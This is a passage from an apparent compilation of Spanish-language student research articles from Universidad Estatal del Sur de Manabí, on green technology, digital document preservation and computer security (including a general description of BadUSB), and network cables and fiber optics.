“Las tecnologías verdes se compara a menudo, con la explosión de las “tecnologías de la información”, que el mundo ha experimentado en las dos últimas décadas y aunque para los expertos resulta imposible predecir qué es exactamente lo que sucederá, creen que será positivo para el ser humano y el Medio Ambiente.” (ECOticias, 2017), las tecnologías de la información son importantes ya que permite desarrollar nuevas aplicaciones que sirven para el cuidado del ambiente y para reducir la contaminación que pueden llegar afectar a los estudiantes.

Se propone como objetivo enseñar a los estudiantes sobre el uso de las Tecnologías Verdes en la carrera Tecnologías de la Información para que puedan contribuir al cuidado del medio ambiente, también reducir el uso de equipos informáticos el mal estado que contaminan el ambiente y pueden afectar a los estudiantes. Esta investigación fue de gran impacto porque así los estudiantes aprenden a cuidar el lugar donde reciben sus clases y también hacen usos de la Tecnología Verde y la relacionan con las tecnologías de información que ellos usan a diario.

2. MATERIALES Y MÉTODOS

Se manejó los métodos de investigación científica, influyendo el método de inducción - deducción y análisis, síntesis, estos métodos se utilizaron con la finalidad de examinar cada uno de los datos obtenidos para de esta forma poder obtener un resultado y poder responder a cada una de las inquietudes planteadas en los objetivos de esta investigación.

El método inducción – deducción nos permitió obtener una idea más clara referente a Tecnología Verde esto nos conlleva a poder obtener conocimiento más allá de lo profesional.

El método análisis – síntesis se utilizó para hacer un análisis general del conocimiento que tienen los estudiantes sobre la Tecnología Verde y a partir de estos se determinó el poco conocimiento que tienen sobre esta tecnología

3. RESULTADOS Y DISCUSIÓN

Como resultado obtenido al tema requerido ayudo a mejorar y perseverar los recursos naturales en los estudiantes de la carrera de Tecnologías de la Información.

Se logró que este tipo de tecnologías se preocupe por resolver todos aquellos problemas asociados a los residuos o el ruido y abarcar soluciones sencillas fácilmente que puedan ser aplicadas en los estudiantes para fortalecer el conocimiento y aprendizaje.

Contribuir con el medio ambiente ayuda a minimizar costos y sus ventajas brindan la seguridad y confiabilidad y al mismo tiempo reduciendo su impacto medioambiental, la clave es producir más con menos. Se ha transformado también como un excelente aporte para atraer a los estudiantes a desarrollar su coeficiente y conservar las maravillas que nos brinda.

Obtuvimos un gran porcentaje de minimización de desechos orgánicos y materiales que habitualmente eran esparcidos por el hombre en los distintos lugares que no eran apropiados,

este porcentaje de reducción fue analizada y acertada por el tema de estudiantes de la carrera Tecnologías de la Información mediante un estudio en la zona central del problema, a la vez tomamos el plan reutilizar materiales que estaban clasificados para ser reciclables y así dar paso a la idea de innovar por medio de la elaboración de manualidades mediante los mismos.

El daño provocado por muchos equipos y artefactos eléctricos al medio ambiente es crítico en el sentido de ser mal utilizado o desechando los mismos a un habitat natural, sin embargo; si realizamos un estudio y tenemos una finalidad positiva y determinada podemos utilizar estos elementos para darles un buen uso y así evitar el alto grado de contaminación que se da en el planeta, obteniendo los resultados de esta investigación es a lo que llamamos "Tecnología Verde"

Este tipo de tecnología abarca un sin números de complejidades que contiene un algoritmo explicito donde con seguridad podremos realizar y ejecutar actividades sabiendo que las mismas ayudaran a conservar el medio ambiente en su estado natural.

4. CONCLUSIONES

- Se logró enseñar a los estudiantes que el uso de estas tecnologías es el medio más viable para la generación de energía, y para la conservación de nuestro planeta.
- Se redujo el uso de equipos informáticos en mal estado para contribuir al cuidado del medio ambiente y concientizar al estudiante del daño que le hacen al ambiente.

5. RECOMENDACIONES

- Generalizar en toda la Universidad el uso de la Tecnología Verde para que los estudiantes que desconocen del tema puedan aprender y contribuir al cuidado del medioambiente.
- Dar talleres y charlas sobre el uso de la Tecnología Verde en los estudiantes para que puedan hacer uso de esta tecnología en su aprendizaje.

6. BIBLIOGRAFÍA

Caballero, A. (2010). *Alto nivel*. Obtenido de altonivel.com:
<https://www.altonivel.com.mx/empresas/negocios/tecnologia-verde-en-que-consiste/>

Cosio, L. (24 de Enero de 2012). *INBEST*. Obtenido de www.inbest.cloud:www.inbest.cloud/comunidad/la-tecnologia-y-su-impacto-ambiental%3fhs_amp=true

ECOticias. (2017). Obtenido de ECOticias.com : <https://www.ecoticias.com/tecnologia-verde/175013/Que-significa-Tecnologia-verde>

INBEST. (s.f.). *LuisCosio*. Obtenido de [www.inbest.cloud:https://www.inbest.cloud/comunidad/la-tecnologia-verde-y-su-impacto-ambiental%3fhs_amp=true](https://www.inbest.cloud/comunidad/la-tecnologia-verde-y-su-impacto-ambiental%3fhs_amp=true)

BIOGRAFÍA DEL AUTOR

Rebeca Susana Andrade Baque, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Químico Biólogo, en la Unidad Educativa Fiscal “Pajan” Pajan-Manabí-Ecuador.

Xiomara Lisbeth Anzules Ávila, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Administración de Sistemas, en el Colegio Fiscal Técnico”Dr. Isidro Ayora Cueva” Isidro Ayora-Guayas-Ecuador.

Carlos Ariel Ávila Cruz, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Instalaciones y Mantenimientos de Equipos y Maquinas Eléctricas, en el Colegio Fiscal Técnico”Dr. Isidro Ayora Cueva”IsidroAyora-Guayas-Ecuador.

Wilter Leonel Solórzano Álava, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Ciencias, en la Unidad Educativa Fiscal “Fanny de Baird” Bahía de Caráquez-Manabí-Ecuador.

Ing. José Efraín Álava Cruzatty, Ingeniero en Telecomunicaciones y Master en Telecomunicaciones por la Universidad Católica Santiago de Guayaquil. Desde el 2008 se desempeñó de; INGENIERO JUNIOR en la empresa SURATEL S.A.; ANALISTA DE OPERACIÓN & MANTENIMIENTO PROVINCIAL en la CORPORACIÓN NACIONAL DE TELECOMUNICACIONES; ANALISTA TÉCNICO en el VICEMINISTERIO DE

ACUACULTURA Y PESCA; y desde el 2015 a la actualidad se desempeña como Docente en la Universidad Estatal del Sur de Manabí en las carreras de Ingeniería de Sistemas Computacionales y Tecnologías de la Información.

CONSERVACIÓN DOCUMENTAL DIGITAL Y SEGURIDAD EN EL ÁMBITO INFORMÁTICO

María Fernanda Ayón Vélez

Daisy Cristina Reyes Mejía

Xiomara Lisbeth Anzules Ávila

Rebeca Susana Andrade Baque

Ing. José Efraín Álava Cruzatty. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

maferayon@hotmail.com

Resumen

Este trabajo de investigación se basó en las amenazas que existe en el mundo digital que cada día va aumentando, tantos en documentos electrónicos o digitales que a su vez genera una pérdida de información. El uso constante de internet para estos tipos de documento con lleva a determinar las diversas estrategias que pueden implementarse para la conservación de los documentos digitales, desarrollando proyectos de seguridad informática que garanticen la integridad, disponibilidad y accesibilidad de la información. Se utilizaron métodos de investigación científica, que fueron el método de inducción, deducción y análisis, síntesis, lo cual beneficio a que los estudiantes adquieran más conocimiento acerca de la prevención de pérdida de los documentos digitales, debido a que en plataformas de internet existen variedades de software maliciosos también llamados virus. Se propone como objetivo enseñar a los estudiantes universitarios que se manejen en el ámbito informático de forma segura contra amenazas existentes. Se logró como resultado que los estudiantes se interesen en tratar de proteger sus documentos digitales que con frecuencia los utilizamos mediante internet para ser uso de sus servicios como realizar actividades, enviar correo electrónico, hacer un foro educativo, entre otras actividades.

Palabras clave: Amenazas, Digitales, Estrategias.

Abstract

This research work was based on the threats that exist in the digital world that is increasing every day, so many electronic or digital documents that in turn generate a loss of information. The constant use of the internet for these types of documents leads to determine the various strategies that can be implemented for the preservation of digital documents, developing computer security projects that guarantee the integrity, availability and accessibility of information. We used scientific research methods, which were the method of induction, deduction and analysis, synthesis, which benefit students to acquire more knowledge about the prevention of loss of digital documents, because on Internet platforms there are varieties of malicious software also called viruses. It is proposed as an objective to teach university students that are managed in the computer field in a secure manner against existing threats. It was achieved as a result that students are interested in trying to protect their digital documents that we often use through the internet to use their services such as doing activities, sending email, making an educational forum, among other activities.

KEYWORDS: digital, strategies, threats.

1. INTRODUCCIÓN

El mundo utiliza esta tecnología tanto en la vida cotidiana de las personas, como en las instituciones educativas, porque es una nueva seguridad para sus documentos, pero en diversas partes del mundo se han iniciado una serie de esfuerzos propensos a darle forma y estructura a ese patrimonio documental de diversas regiones y comunidades, así como a la creación de una memoria documental, tanto en los soportes tradicionales como en los nuevos soportes digitales (Voutssás, 2012).

Los documentos digitales en Latinoamérica trabajan de manera asociadamente para así poder fortalecer y mejorar cada día lo que es la legislación ya que utilizan las estrategias de preservación digital que son de muchas importancias, el entorno archivístico nacional posee un déficit en la emisión de instrumentos que faciliten las labores de preservación digital.

Dentro del Ecuador existen distintas tecnologías digitales que día a día se las están utilizando para hacer frente a los retos atribuidos a la archivística de la actualidad, por lo que la imagen digital es una herramienta alternativa que permite la difusión del contenido informativo de los

archivos para hacer más fácil la purificación de cada uno de los archivos para una mejor seguridad (Mieles, 2016).

Los documentos digitales surgieron de los avances tecnológicos por lo cual es fácil su manipulación su acceso a la información y su almacenamiento, pero en si necesita una adecuada conservación de los documentos digitales ya que contiene un valor administrativo, cultural, informático y legal. Uno de sus funcionalidad principal es almacenar documentos electrónicos por medio de la nueva tecnología en un formato normalizado con el fin de ampliar su vida útil de manera legible es decir que se pueda interpretar, leer de una mejor manera esos documentos digitales también lograr la facilidad nuevas formas de acceso y un solo documento electrónico pero que sea de una forma segura para que no existan problema dentro de ese ámbito ya que es una nueva tecnología que ayuda de muchos a los usuario que hace eso de estas informaciones. Utilizan estrategias que son necesarias para desarrollar la política de conservación de la información electrónica en cual tiene un compromiso que es fundamental ya que tiene una responsabilidad de la conservación de los documentos para la seguridad informática. Garantizar la confidencialidad, integridad y disponibilidad de la información, la cual debe estar completa y las personas pueda tener acceso al documento.

Para esta investigación se propone como objetivo enseñar a los estudiantes sobre la seguridad informática para lograr disminuir el riesgo sobre los virus que podrían infectar los documentos digitales. En los estudiantes fue de gran impacto como se vio reflejado en la encuesta porque desde el punto de vista de los estudiantes universitarios, la preservación garantiza que los documentos y archivos del área informática mantengan siempre su confiabilidad total en la red para que puedan proteger su información.

2. DESARROLLO

EL MUNDO DIGITAL

El mundo digital se incorporado a nuestra vida de forma acelerada, en nuestro diario vivir, cada día son más las personas que utilizamos o nos apoyamos a internet para ser uso de sus servicios como realizar actividades, enviar correo electrónico, hacer un foro educativo, tener la sesión en un chat, descargar música entre muchas actividades más.

De acuerdo con lo que expresa (CLAVIJO, 2006) “el mundo de los negocios empresariales es aún más complejo y la gama de servicios nos presenta mayores alternativas. Puesto que las transacciones electrónicas nos permiten minimizar el tiempo y los recursos, pagar los servicios públicos, transferir de una cuenta bancaria a otra, esta es una de las ventajas que el mundo digital nos ofrece.

Estos son servicios que nos ofrece el mundo digital, pero como tiene sus ventajas y una de ellas en estos casos puede existir amenazas informáticas.

AMENAZAS INFORMÁTICAS

Al momento de hablar sobre amenazas informática, instantánea mente se nos plantea en la mente una gran variedad de software maliciosos también llamados virus y hasta el momento una de la manera más eficaz de erradicarlo ha sido con los famosos antivirus.

En la conferencia “Black Hat USA 2014” 3 investigadores alemanes, Karsten Nohl, Sascha Klibler y Jakob Lell, mostraron una vulnerabilidad en el firmware del controlador, capaz de tomar el control de un equipo mediante un dispositivo USB, todo esto provocado por una vulnerabilidad encontrada en los chips que permiten la comunicación entre el sistema y el conector USB, capaz de saltarse las protecciones que normalmente se instalan para evitar infecciones de malware. Es lo que han bautizado como BadUSB. (Espinoza, 2016).

BadUSB es un como un dispositivo USB estándar al cual se le ha modificado el Firmware (que es un programa, que indica a la PC qué tipo de dispositivo es, en este caso una memoria extraíble) Sin embargo, ese mismo firmware puede ser modificado, haciéndolo parecer como otro dispositivo como podría ser un teclado o cualquier otro dispositivo USB, esto con el fin de realizar cambios en el equipo u obtener información y al mismo tiempo lograr pasar inadvertido por cualquier tipo de software antimalware o antivirus que tengamos instalado (Espinoza, 2016).

SEGURIDAD INFORMÁTICA

El significado de seguridad ha tomado mayor relevancia en el ámbito de la tecnológico, este término se la define como el nivel de protección de daño, formando parte de ella algunas acciones que previenen cierto tipo de amenazas garantizando el buen funcionamiento.

Según (González, 2015) la seguridad de la información se encarga de proteger los tres pilares más importantes de la misma: la confidencialidad, integridad y disponibilidad, esto implica que solo permite el acceso de información únicamente a personas y/o sistemas que debidamente tengan una autorización, esta seguridad también trabaja en la protección de la infraestructura computacional, ya sea software (archivos, datos, metadatos, etc.) o hardware (componentes físicos de un sistema).

En conjunto, la seguridad de la información y la seguridad informática tienen como objetivo proteger un sistema completo en el que la tecnología permite el manejo de la información y que posee estándares, protocolos, métodos, reglas, herramientas y leyes que ayudan a minimizar los latentes riesgos a los que se pueda enfrentar dicho sistema. (González, 2015)

EL TRIÁNGULO DE LA SEGURIDAD

La principal contribución de la seguridad informática es asegurar que todos los agentes de un sistema de información de la organización sean usados únicamente para el fin con el que fueron creados. Lo que se encarga la seguridad informática es buscar los riesgos y amenazas y vulnerabilidades del sistema de información que se quiere proteger, en la que dan importancia a tres principios de la seguridad que son: la confidencialidad, la integridad y la disponibilidad. (Casas, 2015). Y una contribución secundaria de la seguridad informática es de mucho interés desde el punto de vista de la preservación documental porque garantiza que los documentos, registro y archivos del área informática mantenga siempre la su confiabilidad total.

3. MATERIALES Y MÉTODOS

Se utilizaron métodos de investigación científica predominando el método de inducción – deducción y análisis – síntesis, que contribuyo al desarrollo de la capacidad de resolver los problemas al momento de referirse a la documentación digital.

El método análisis – síntesis; se realizó un diagnóstico general en los estudiantes sobre el tema, referente a la conservación de documentos digitales y la seguridad que deben tener.

El método de inducción – deducción; nos sirvió para llegar a la realidad del problema que un gran porcentaje de los estudiantes pierden documentos digitales por las amenazas que existe.

Los métodos empíricos; contribuyeron para diagnosticar cuanto de conocimiento tienen sobre el tema planteado, se utilizó la observación y entrevistas como técnicas principales para fortalecer esta investigación.

4. RESULTADOS Y DISCUSIÓN

Se obtuvo como resultado que los estudiantes tienen conocimiento sobre la seguridad de la información y la seguridad informática para que puedan proteger un sistema completo en el que la tecnología permite el manejo de la información y que posee estándares, protocolos, métodos, reglas, herramientas y leyes que ayudan a minimizar los latentes riesgos a los que se pueda enfrentar dicho sistema.

A través de esta investigación se logró que los estudiantes de la carrera Tecnología de la Información se interesaran más sobre las amenazas en el mundo digital. En lo cual sería tener una mejor manera de prevenir eso siempre y cuando que todos tenga conocimiento de cómo salvaguardar nuestros documentos de gran importancia, aplicando los conceptos de criptografía como seguridad de información.

Los estudiantes plantearon que la seguridad informática es fundamental para prevenir pérdida de los documentos digitales y protegerlos de todo riesgo, se logró enseñar a los estudiantes sobre el uso adecuado de los documentos digitales para que al momento de compartir información a través de una red la documentación que envíen llegue de forma íntegra al receptor de la información y no tenga problemas cuando desee descargar la información que ha recibido, y así de esta forma también protegen el equipo o dispositivo que utilizaron para compartir el documento.

5. CONCLUSIONES

- Se logró influir a los estudiantes, que sus documentos digitales los protejan contra amenazas existentes en el mundo digital mejorando la posibilidad de automatizar los procesos que se realizan en internet.
- La seguridad en el mundo digital es fundamental puesto que la mayor parte de los estudiantes universitarios trabajan con archivos ya sea extrayéndolos de correos electrónico o mediante internet que no son confiable porque puede tener amenazas informáticas.

6. RECOMENDACIÓN

- Una de las estrategias que se pueden implementar al momento de proteger nuestros documentos digitales es implementado el triángulo de la seguridad que consiste en confidencialidad, integridad, disponibilidad.

7. BIBLIOGRAFÍA

Casas, P. (19 de Noviembre de 2015). *Acatlan Unam*. Obtenido de <http://blogs.acatlan.unam.mx/lasc/?s=seguridad+informatica>

CLAVIJO, D. (2006). Políticas de seguridad informática Entramado. *Universidad Libre Cali, Colombia*. , págs. 86-92 .

Espinoza, E. (4 de Agosto de 2016). *Acatlan Unam*. Obtenido de <http://blogs.acatlan.unam.mx/lasc/?s=amenaza+informatica>

González, S. (10 de Noviembre de 2015). *Acatlan Unam*. Obtenido de <http://blogs.acatlan.unam.mx/lasc/?s=seguridad+informatica>

Mieles, I. J. (2016). Proyecto de Digitalización Para la Colección Documental. *Journal of Computer Science and Information Technology*, 26.

Voutssás, J. (2012). Preservación del patrimonio documental digital en el mundo y en México. *Servicios Personalizados*.

BIOGRAFÍA DEL AUTOR

María Fernanda Ayón Vélez, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Ciencias, en la Unidad Educativa Técnica Particular “Redemptio” Jipijapa, Manabí, Ecuador.

Daisy Cristina Reyes Mejia, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Producción Agropecuaria, en la Unidad Educativa Fiscal “SUCRE” 24 de Mayo, Manabí, Ecuador.

Xiomara Lisbeth Anzules Ávila, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Administración de Sistemas, en el Colegio Fiscal Técnico “Dr. Isidro Ayora Cueva” Isidro Ayora, Guayas, Ecuador.

Rebeca Susana Andrade Baque, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Químico Biólogo, en la Unidad Educativa Fiscal “Pajan” Pajan, Manabí, Ecuador.

INCIDENCIA EN LOS CONECTORES Y CABLES DE REDES DE LA COMPUTADORA

Parrales Baque Joel Jair

Castro Castro Roberth Javier

Wilter Leonel Solórzano Álava

Gabriela Nicole Ponce Robles

Ing. Franklin Jhimmy Toala Arias. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

joel_parrales@outlook.es

Resumen

El presente trabajo de investigación se basó en la importancia que tienen los cables de red en la actualidad, la necesidad de transferencia de datos aumenta la productividad de realización de conectores a nivel mundial, esto provoca su acelerada evolución en el ámbito de la información aplicando el método histórico – lógico para indagar el avance que han tenido los cables de transferencia de información en los últimos años, también se utilizó el método de análisis – síntesis para el estudio de la investigación y la síntesis en el sistema de relaciones que se produce al momento de recopilar la información de diferentes fuentes bibliográficas, dentro de los recursos investigativos se encontró aportaciones importantes que han brindado los cables de transferencia de información, luego de haber realizado la respectiva búsqueda de información se determinó que los cables son de gran aporte, haciendo posible la trasmisión de datos en los diferentes dispositivos para lograr la comunicación, se obtuvo como resultado la enseñanza y aprendizaje de cómo están conectadas las redes a nivel mundial ofreciendo internet de manera rápida y efectiva con una gama amplia se comprobó que la red pasa aproximadamente por todos los continente brindando la comunicación altamente sustentablemente para el todo el país, esta investigación tiene como objetivo evaluar la red que tiene el área del complejo de la Universidad Estatal del Sur de Manabí para establecer los parámetros necesarios para tener una mayor comunicación mediante el cable de fibra óptica.

PALABRAS CLAVE: comunicación, intercambio, produce.

Abstract

This research work was based on the importance of network cables today, the need for data transfer increases the productivity of making connectors worldwide, this causes its accelerated evolution in the field of information by applying the historical method - logical to investigate the progress that have been the cables of information transfer in recent years, we also used the method of analysis - synthesis for the study of research and synthesis in the system of relationships that occurs at the moment of gathering information from different bibliographical sources, within the research resources, important contributions were found that have provided the information transfer cables, after having made the respective information search it was determined that the cables are of great contribution, making possible the Transmission of data in different devices to achieve communication, the result was the teaching and learning of how the networks are connected at a global level, offering Internet in a fast and effective way with a wide range, it was proven that the network passes through all the continent, providing highly sustainable communication for Throughout the country, this research aims to evaluate the network that has the area of the complex of the Southern State University of Manabí to establish the necessary parameters to have greater communication through fiber optic cable.

KEYWORDS: communication; exchange; produces

1. INTRODUCCIÓN

Este artículo se basa en el trabajo denominado a la incidencia que tiene los cables de red y sus conectores la importancia que tuvieron y que actualmente tienen a un nivel global nos presta la ayuda de brindarnos una comunicación única a través de las redes enlazándonos a un mundo totalmente diferente al que conocemos, que nos permite un dialogo a distancia a través de un dispositivo emisor y receptor , esto se debe porque los cables de red es un medio de transmisión de datos que nos permite enviar paquetes de datos hacia otro dispositivo.

Los sistemas de comunicación mediante la fibra óptica es una forma de transmitir información soportada básicamente por la luz. La información viaja en forma de luz a lo largo del sistema sin pérdida y muy rápido. El servicio de conexión a Internet por fibra óptica es mucho más rápido permitiendo navegar, ver videos entre otros sin que se caiga la conexión o se generen los

famosos cuellos de botella, y la comunicación sea de forma fluida ya que no se congelan las imágenes ni se pone lenta la red. Pueden estar conectadas muchas personas a una misma red y estar descargando información pesada de internet. Teniendo en cuenta que existen varias topologías de redes, la fibra óptica se adapta a cada una de las topologías existentes, además aumenta el rendimiento de los equipos, permiten la transferencia rápida y eficaz de la información en redes LAN (Redes locales). (Rodríguez, 2016)

Las TIC surgen de manera aproximativa a raíz de la invención del telégrafo (1833) y el posterior despliegue de redes telegráficas por la geografía nacional, que en España se desarrolla entre los años 1850 y 1900. Actualmente, estamos acostumbrados a coexistir con todo tipo de servicios que nos facilitan la comunicación entre personas, pero la experiencia con estos sistemas es relativamente reciente. El uso de nuevos tipos de señales y el desarrollo de nuevos medios de transmisión, adaptados a las crecientes necesidades de comunicación, han sido fenómenos paralelos al desarrollo de la historia. Desde 1995 hasta la actualidad los equipos han ido incorporando tecnología digital, lo cual ha posibilitado el cambio y nuevas tendencias a las que asistimos, la frecuencia inestable se convierte en código binario, estableciendo los datos como único elemento de comunicación. (Dueñas Chimanca, 2018)

En el complejo de la Universidad Estatal del Sur de Manabí se encontró con unas de las deficiencias que tiene en el área de Tecnologías de la Información a la hora de acceder a internet es que muy lento esto se debe a que sus topología no se encuentra de buen estado entonces tal que unos de los medios en las cuales se hacen acceso al internet en los equipos informáticos es cableado que tiene los laboratorio por lo cual se hace esta pregunta ¿Como se puede mejorar la transmisión de datos en la Universidad estatal del sur de Manabí del complejo en el área de tecnología de la información?. Se ha llevado a cabo que unos de sus principales problemas sería el tipo de cable que estos laboratorios actualmente tienen.

En este presente trabajo se logra identificar la evolución que ha tenido el cable red en todo el mundo y que a crecido a nivel mayor las hazañas que se ha podido lograr con la existencia de este, la determinación de como traslada los datos con una mayor velocidad sin interferencias y un mayor alcance y se debe de reconocer porque en la mayoría de las conexiones de red es utilizado el cable de fibra óptica, donde se tiene un impacto a nivel mundial, es así donde ha

surgido un nuevo cable que es utilizado con mayor demanda en el todo el mundo que se ha convertido en el viajero de la comunicación.

Para esta investigación se estableció como objetivo evaluar la red que tiene el área del complejo de la Universidad Estatal del Sur de Manabí, para establecer los parámetros necesarios para que se implemente el cableado de fibra óptica y pueda tener una mayor comunicación.

2. MATERIALES Y MÉTODOS

En esta investigación se utilizaron los métodos de la investigación científica tales como:

Se utilizó el método histórico – lógico; para la construcción del artículo científico, con énfasis en la sistematización de los antecedentes históricos del objeto y campo de la investigación.

El método análisis – síntesis; se utilizó en el estudio y los hechos descomponiendo el objeto de la investigación para sintetizar el sistema de relaciones que se produce al momento de recopilar la información de diferentes fuentes como artículos científica.

Se utilizó revisión bibliográfica para poder ver la utilización de la fibra Óptica en la actualidad en la Universidad Estatal del Sur de Manabí

Se utilizó el método empírico para poder observar la utilización y funcionamiento de la fibra Óptica implementada en el Laboratorio de la carrera de Ingeniería de Computación y Redes.

3. RESULTADOS Y DISCUSIÓN

Se logró determinar que los cables de red son materiales muy importantes en la estructura de una red al momento de compartir información, además se logró impartir más conocimiento a los estudiantes de la carrera de Tecnologías de la Información de la utilización de los cables de red conociendo los diferentes tipos de cables de red que existen cada uno con características diferentes logrando una mayor velocidad de transporte de datos.

Se obtuvo como resultado el conocimiento de las increíbles iniciativas que se pudo ver como el mundo está conectado a una red que pasa por todos los continentes brindado la capacidad de generar internet de una manera más rápida con una increíble tecnología que es el cable de red fibra óptica . Se a logrado en el Ecuador adoptar este medio de transmisión de datos para tener una buena comunicación, y el avance tecnológico es el que ayuda a incentivar a Ecuador que siga evolucionando , en Jipijapa- Manabí –Ecuador actualmente las compañías de

telecomunicaciones y servicios de internet ya están optando la utilización de cable de red para así brindarles a sus clientes un servicio de mejor calidad , teniendo en cuenta que estas empresas son un poco más costoso por el buen servicio que ofrecen.

En la Universidad Estatal del Sur de Manabí en el complejo en la parte del área de Ingeniería de Computación y Redes se ha implementado una red de Área Local con cableado de Fibra Óptica en el Laboratorio respectivo de esta carrera esto permite que en la Universidad esta área tenga una mejor comunicación y transmisión de datos, ahora veamos la otra parte del complejo de la carrera Tecnologías de la Información en los Laboratorios no se ha logrado implementar lo que es la tecnología de la Fibra Óptica entonces que al momento de acceder a internet en los equipos informáticos muchas veces suele irse por un largo tiempo el internet y no todo los equipos cuenta con su respectivo cable de red para acceder a ellos, entonces para solucionar el problema a esto es necesario que estos equipos informáticos deban ser reemplazados o más bien deban tener un buen mantenimiento para de esta manera poder implementarse lo que es conexiones con cable de fibra óptica.

4. CONCLUSIONES

- Se determinó que los cables en especial un cable de red hizo posible la transmisión de datos en la comunicación de un continente a otro.
- Se determinó que los cables de red más utilizados actualmente son los de fibra óptica debido a su capacidad de banda de ancha con una mayor velocidad a la hora de transmitir datos y tener en cuenta que este cable tiene un conector especial.
- Se concluyó que las empresas adquieren y fabrican lo cables de red por su gran costo de ganancia y sin olvidar que también la fibra óptica viaja a través del mar para generar una comunicación altamente sustentable en todos los países así como en jipijapa que actualmente las compañías telefónicas adquieren estos servicios para una mejor cobertura de internet y sin olvidar que la universidad estatal del sur de Manabí también cuenta con este servicio de cable de fibra óptica siendo así se ha llegado avanzar mucho pero sin embargo aún hay pequeñas áreas donde se deberían implementar los cables de fibras ópticas en el caso como el área de tecnología de la información ubicada en el complejo.

5. BIBLIOGRAFÍA

(s.f.). Obtenido de Ministerio de Telecomunicaciones y de la Sociedad de la Información :

<https://www.telecomunicaciones.gob.ec/ecuador-es-pionero-en-la-fabricacion-de-fibra-optica-de-la-region/>

CNNEspañol.Com. (4 de marzo de 2014). Obtenido de CNN:

<https://cnnespanol.cnn.com/2014/03/04/asi-se-ve-el-internet-en-realidad-cables-submarinos-que-surcan-la-tierra/>

Dueñas Chimanca, D. A. (15 de 10 de 2018). Obtenido de

<http://repositorio.uladech.edu.pe/handle/123456789/6356>

EL TELEGRAFO. (16 de Agosto de 2016). Obtenido de El TELEGRAFO:

<https://www.eltelegrafo.com.ec/noticias/economia/4/ecuador-estrena-su-primera-fabrica-de-cables-de-fibra-optica>

Figueroa, S. (18 de febrero de 2015). Obtenido de algarabianinos:

<http://algarabianinos.com/explora/alessandro-volta-el-inventor-de-las-pilas/>

GUILLÉN, B. (27 de MAYO de 2016). Obtenido de EL PAIS:

https://elpais.com/tecnologia/2016/05/27/actualidad/1464352294_380991.html

HURST, M. (10 de Julio de 2012). Obtenido de YOROKOBU: <https://www.yorokobu.es/los-cables-submarinos-que-llevan-internet-a-todo-el-mundo/>

Media Timestoast. (s.f.). Obtenido de Media Timestoast:

<https://media.timetoast.com/timelines/historia-del-cable-de-red>

Merino, J. P. (s.f.). Obtenido de Definicion.de: <https://definicion.de/cable-de-red/>

Meza, D. (19 de enero de 2018). Obtenido de N+1, tecnología que suma. :

<https://nmas1.org/material/2018/01/20/mapa-cables>

Rodríguez, M. L. (2016). Obtenido de

http://repositorio.puce.edu.ec/bitstream/handle/22000/13175/Trabajo%20final%20Análisis%20de%20utilizacion%20de%20POF_Marco%20Lozano_version%20final_23-12-2016_1.pdf?sequence=1&isAllowed=y

VAZQUEZ, L. (s.f.). *vix*. Obtenido de

<https://www.vix.com/es/btg/curiosidades/2010/11/13/%C2%BFcomo-se-descubrio-la-electricidad>

BIOGRAFIA DEL AUTOR

Parrales Baque Joel Jair, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Instalaciones de Equipos y Maquinas Eléctricas, en la Unidad Educativa Fiscal “JIPIJPA” Jipijapa, Manabí, Ecuador.

Castro Castro Roberth Javier, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Ciencias, en la Unidad Educativa Fiscomisional “Padre Jorge Ugalde Paladines”, Jipijapa, Manabí, Ecuador

Wilter Leonel Solórzano Álava, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Ciencias, en la Unidad Educativa Fiscal “Fanny de Baird” Bahía de Caraquez-Manabí-Ecuador.

Gabriela Nicole Ponce Robles, Estudiante de la Universidad Estatal del Sur de Manabí, carrera de Tecnologías de la Información, bachiller en Administración de Sistemas, en la Unidad Educativa “Ecuatoriana Austriaca” Pedro Carbo, Guayas, Ecuador

Franklin Jhimmy Toala Areas, Técnico En Análisis De Sistema, Tecnólogo En Sistemas Computacionales, Ingeniero En Sistemas Computacionales, Magíster En Educación Y Desarrollo Social, Experto En Gestión Organizacional Y Liderazgo Transformador Para El Desarrollo Territorial Del Buen Vivir , Docente Habilitado De La Senescyt, Técnico De Computación Colegio Ciclo Básico Paulo Emilio Macias, Docente De Computación Colegio Particular Latinoamericano, Director De La Escuela Liceo Modelo, Docente Del Colegio Ciclo Básico Paulo Emilio Macias, Docente De La Carrera De Ingeniería De Sistemas De La Universidad Estatal Del Sur De Manabí Extensión Pajan, Gerente Del Almacén De Computadoras PC System Programs, Director De Proyectos De La Unidad Educativa Paulo Emilio Macias , Docente Tutor De Nivelación De La Universidad Técnica De Manabí, Docente De Matemáticas Y De Programación De La Universidad Estatal Del Sur De Manabí

LA CRIPTOGRAFÍA HÍBRIDA COMO HERRAMIENTA DEL SISTEMA DE INFORMACIÓN

Daisy Cristina Reyes Mejía

María Fernanda Ayón Vélez

Vicente Ricardo Barahona Quiroz

Ing. Cristhian José Àlava Mero. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

daidy.reyes10@gmail.com

Resumen

